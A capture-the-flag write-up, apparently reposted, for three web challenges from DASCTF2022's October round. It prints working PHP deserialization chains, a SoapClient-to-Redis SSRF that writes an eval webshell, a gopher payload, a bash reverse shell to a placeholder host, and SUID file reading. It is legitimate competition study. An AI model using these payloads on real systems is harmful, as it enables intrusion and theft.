DASCTF2022 ——十月赛 Web 部分Writeup

心已赠人 2024-04-01 11:47 91阅读 0赞

### EasyPOP ###

题目环境是 php 7.4, 图省事直接把所有属性的类型都改成 public

起点是 sorry 类的 `__destruct()`, 由 `echo $this->hint` 调用到 show 类的 `__toString()` 方法, 然后通过执行 `$this->ctf->show()` 跳转 secret\_code 类的 `__call()` , 进而到 `show()` 方法, 在 `show()` 方法中访问不存在的属性, 跳转到 sorry 类的 `__get()`, 最后通过 `$name()` 跳到 fine 类的 `__invoke()`

pop 链构造如下

<?php
    
    class fine
    {
           
        public $cmd;
        public $content;
    }
    
    class show
    {
           
        public $ctf;
        public $time;
    }
    
    class sorry
    {
           
        public $name;
        public $password;
        public $hint;
        public $key;
    }
    
    class secret_code
    {
           
        public $code;
    }
    
    $e = new fine();
    $e->cmd = 'system';
    $e->content = 'cat /flag';
    
    $d = new sorry();
    $d->key = $e;
    
    $c = new secret_code();
    $c->code = $d;
    
    $b = new Show();
    $b->ctf = $c;
    
    $a = new sorry();
    $a->name = '123';
    $a->password = '123';
    $a->hint = $b;
    
    echo serialize($a);

最后改一下数字绕过 `__wakeup`

http://f9eac3ed-9425-4fe7-a009-aad41f9db212.node4.buuoj.cn:81/?pop=O:5:"sorry":4:{s:4:"name";s:3:"123";s:8:"password";s:3:"123";s:4:"hint";O:4:"show":2:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";N;s:3:"key";O:4:"fine":3:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}}}s:4:"time";N;}s:3:"key";N;}

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231752647.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231752647.png]

### hade\_waibo ###

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231753442.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231753442.png]

cancan need 有任意文件读取

http://745b93ee-b378-4803-b84e-52f9e7b78d2a.node4.buuoj.cn:81/file.php?m=show&filename=file.php

file.php

............

<?php

error\_reporting(0);

session\_start();

include 'class.php';

if($\_SESSION\['isLogin'\] !== true)\{

die("<script>alert('号登一下谢谢。');location.href='index.php'</script>");

$form = '

提交

</font></font></button>

</form>';

$file = new file();

switch ($\_GET\['m'\]) \{

case 'upload':

if(empty($\_FILES))\{die($form);\}

$type = end(explode(".", $\_FILES\['file'\]\['name'\]));

if ($file->check($type)) \{

die($file->upload($type));

\}else\{

die('你食不食油饼');

break;

case 'show':

die($file->show($\_GET\['filename'\]));

break;

case 'rm':

$file->rmfile();

die("全删干净了捏");

break;

case 'logout':

session\_destroy();

die("<script>alert('已退出登录');location.href='index.php'</script>");

break;

default:

echo '<h2>Halo! '.$\_SESSION\['username'\].'</h2>';

break;

............

class.php

‘<?php

class User

public $username;

public function \_\_construct($username)\{

$this->username = $username;

$\_SESSION\['isLogin'\] = True;

$\_SESSION\['username'\] = $username;

public function \_\_wakeup()\{

$cklen = strlen($\_SESSION\["username"\]);

if ($cklen != 0 and $cklen <= 6) \{

$this->username = $\_SESSION\["username"\];

public function \_\_destruct()\{

if ($this->username == '') \{

session\_destroy();

class File

\#更新黑名单为白名单，更加的安全

public $white = array("jpg","png");

public function show($filename)\{

echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" οnclick="window.location.href=\\'file.php?m=show&filename=\\'+document.getElementById(\\'filename\\').value">Search</button></div><p>';

if(empty($filename))\{die();\}

return '<img src="data:image/png;base64,'.base64\_encode(file\_get\_contents($filename)).'" />';

public function upload($type)\{

$filename = "dasctf".md5(time().$\_FILES\["file"\]\["name"\]).".$type";

move\_uploaded\_file($\_FILES\["file"\]\["tmp\_name"\], "upload/" . $filename);

return "Upload success! Path: upload/" . $filename;

public function rmfile()\{

system('rm -rf /var/www/html/upload/\*');

public function check($type)\{

if (!in\_array($type,$this->white))\{

return false;

return true;

\#更新了一个恶意又有趣的Test类

class Test

public $value;

public function \_\_destruct()\{

chdir('./upload');

$this->backdoor();

public function \_\_wakeup()\{

$this->value = "Don't make dream.Wake up plz!";

public function \_\_toString()\{

$file = substr($\_GET\['file'\],0,3);

file\_put\_contents($file, "Hack by $file !");

return 'Unreachable! :)';

public function backdoor()\{

if(preg\_match('/\[A-Za-z0-9?$@\]+/', $this->value))\{

$this->value = 'nono~';

system($this->value);

Test 类可以利用, 第一时间想的是 phar 反序列化

可以用 `.` 执行命令来绕过正则

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231758660.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231758660.png]

思路就是先上传 phar 文件, 然后上传一个 jpg, 其内容包含要执行的命令

注意 jpg 的名称要在 phar 的前面, 例如 phar 的名称是 `dasctfe4.jpg`, 包含命令的 jpg 名称必须是 `dasctfc2.jpg` 或者 `dasctf01.jpg` (ascii 码较小)

不过试的时候发现绕过 wakeup 好像不太行…

然后想起来做 EasyLove 题的时候根目录下有个 start.sh 部署脚本, 结合题目的描述 `tips:flag在/目录下的一个文件里`, 索性直接读取 start.sh 看看

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231801987.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231801987.png]

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231803463.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231803463.png]

读取 /ghjsdk\_F149\_H3re\_asdasfc 得到 flag

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231804991.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231804991.png]

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231804073.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231804073.png]

### EasyLove ###

根据题目描述的 redis, 猜测是通过 ssrf + redis 来 getshell

`$this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);` 这句很明显是要通过某个类来执行 ssrf

众所周知 redis 的协议很宽松, 支持用 http 来发包, 而 php 原生的 SoapClient 类可以发送 http

payload 如下

<?php

class swpu\{

public $wllm;

public $arsenetang;

public $l61q4cheng;

public $love;

$a = new swpu();

$a->wllm = 'SoapClient';

$a->arsenetang = null;

$target = 'http://127.0.0.1:6379/';

$poc = "flushall\\r\\nconfig set dir /var/www/html/\\r\\nconfig set dbfilename shell.php\\r\\nset xzxzxz '<?=eval(\\$\_REQUEST\[1\])?>'\\r\\nsave";

$a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\\r\\n".$poc."\\r\\nhello");

echo urlencode(serialize($a));

试的时候一直卡住 (正常现象), 访问 shell.php 也显示 404

于是猜测 redis 可能有认证, 看了下题目有 hint 类, 通过 `file_get_contents()` 来获得 hint.php 的内容

直接反序列化 hint 无回显, 结果想试试 `file_get_contents()` \+ gopher 的时候阴差阳错地读到了 hint.php

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231829355.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231829355.png]

<?php

class hint\{

public $hint;

$a = new hint();

$a->hint = 'gopher://127.0.0.1:6379/\_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A';

echo serialize($a);

http://0021bfdb-5d2b-42ff-9505-49d23c4aa0e2.node4.buuoj.cn:81/?hello=O:4:"hint":1:\{s:4:"hint";s:404:"gopher://127.0.0.1:6379/\_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A";\}

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231830188.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231830188.png]

猜测 20220311 就是 redis 的密码

于是最终 payload 如下

<?php

class swpu\{

public $wllm;

public $arsenetang;

public $l61q4cheng;

public $love;

$a = new swpu();

$a->wllm = 'SoapClient';

$a->arsenetang = null;

$target = 'http://127.0.0.1:6379/';

$poc = "auth 20220311\\r\\nflushall\\r\\nconfig set dir /var/www/html/\\r\\nconfig set dbfilename shell.php\\r\\nset xzxzxz '<?=eval(\\$\_REQUEST\[1\])?>'\\r\\nsave";

$a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\\r\\n".$poc."\\r\\nhello");

echo urlencode(serialize($a));

O%3A4%3A%22swpu%22%3A4%3A%7Bs%3A4%3A%22wllm%22%3Bs%3A10%3A%22SoapClient%22%3Bs%3A10%3A%22arsenetang%22%3BN%3Bs%3A10%3A%22l61q4cheng%22%3Ba%3A2%3A%7Bs%3A8%3A%22location%22%3Bs%3A22%3A%22http%3A%2F%2F127.0.0.1%3A6379%2F%22%3Bs%3A3%3A%22uri%22%3Bs%3A145%3A%22hello%0D%0Aauth+20220311%0D%0Aflushall%0D%0Aconfig+set+dir+%2Fvar%2Fwww%2Fhtml%2F%0D%0Aconfig+set+dbfilename+shell.php%0D%0Aset+xzxzxz+%27%3C%3F%3Deval%28%24\_REQUEST%5B1%5D%29%3F%3E%27%0D%0Asave%0D%0Ahello%22%3B%7Ds%3A4%3A%22love%22%3BN%3B%7D

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231832077.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231832077.png]

访问 shell.php

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231833180.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231833180.png]

蚁剑连接, 发现 flag 打不开

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231833251.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231833251.png]

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231834534.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231834534.png]

root 权限, 估计是要提权

先用 bash 反弹 shell, 直接输入会有点问题, 解决方法是先在 bash.sh 里写入反弹命令, 然后通过 `bash bash.sh` 来执行

bash -i >& /dev/tcp/xxxx/yyyy 0>&1

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231836286.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231836286.png]

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231837760.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231837760.png]

查找带 SUID 的文件

find / -perm -u=s -type f 2>/dev/null

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231839463.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231839463.png]

发现有 date, 于是直接用 date 来读取 flag

date -f /hereisflag/flllll111aaagg

![https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231839756.png][https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231839756.png]

参考原文： [https://exp10it.cn/2022/10/dasctf-2022-%E5%8D%81%E6%9C%88%E8%B5%9B-web-%E9%83%A8%E5%88%86-writeup/\#easypop][https_exp10it.cn_2022_10_dasctf-2022-_E5_8D_81_E6_9C_88_E8_B5_9B-web-_E9_83_A8_E5_88_86-writeup_easypop]

[来自为知笔记(Wiz)][Wiz]

[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231752647.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/2f7872feaa604370bb5151418dd2417d.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231753442.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/a6d0d559ae864ff4a45cb625301de593.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231758660.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/d7fdd5b0cc9c4d9cb97e095462c0dd51.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231801987.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/1c096e618e9340d9af7387ea299ceece.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231803463.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/c1b2be7594a0406ba5c485d11fadb6d3.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231804991.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/57c8e1c33a694b4284cfc443ed019744.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231804073.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/6f8e076d8d8b43a09c3ca09938b4fec3.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231829355.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/d1d3dc86361547bda22a9598cc8d239d.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231830188.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/2551ea9601e84096a2b1ef2c3dedf2fa.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231832077.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/6fee0599141447b0af30038bc5c05e04.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231833180.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/244ceb76565a4a0387c5dcb0609cc3cf.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231833251.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/c04382da282d4081b0ab6e3cad92d226.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231834534.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/e43fb6fcba18442fb1894f341a366f98.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231836286.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/e495edc61fb749f495f5893699f127ef.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231837760.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/5523863ef5064737a58b1b887198e315.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231839463.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/359a2651ed774e51a239cdf599caad46.png
[https_exp10it-1252109039.cos.ap-shanghai.myqcloud.com_img_202210231839756.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/89136f4e5bde41eebf500b751b1bd07d.png
[https_exp10it.cn_2022_10_dasctf-2022-_E5_8D_81_E6_9C_88_E8_B5_9B-web-_E9_83_A8_E5_88_86-writeup_easypop]: https://exp10it.cn/2022/10/dasctf-2022-%E5%8D%81%E6%9C%88%E8%B5%9B-web-%E9%83%A8%E5%88%86-writeup/#easypop
[Wiz]: http://www.wiz.cn/i/86eb9c97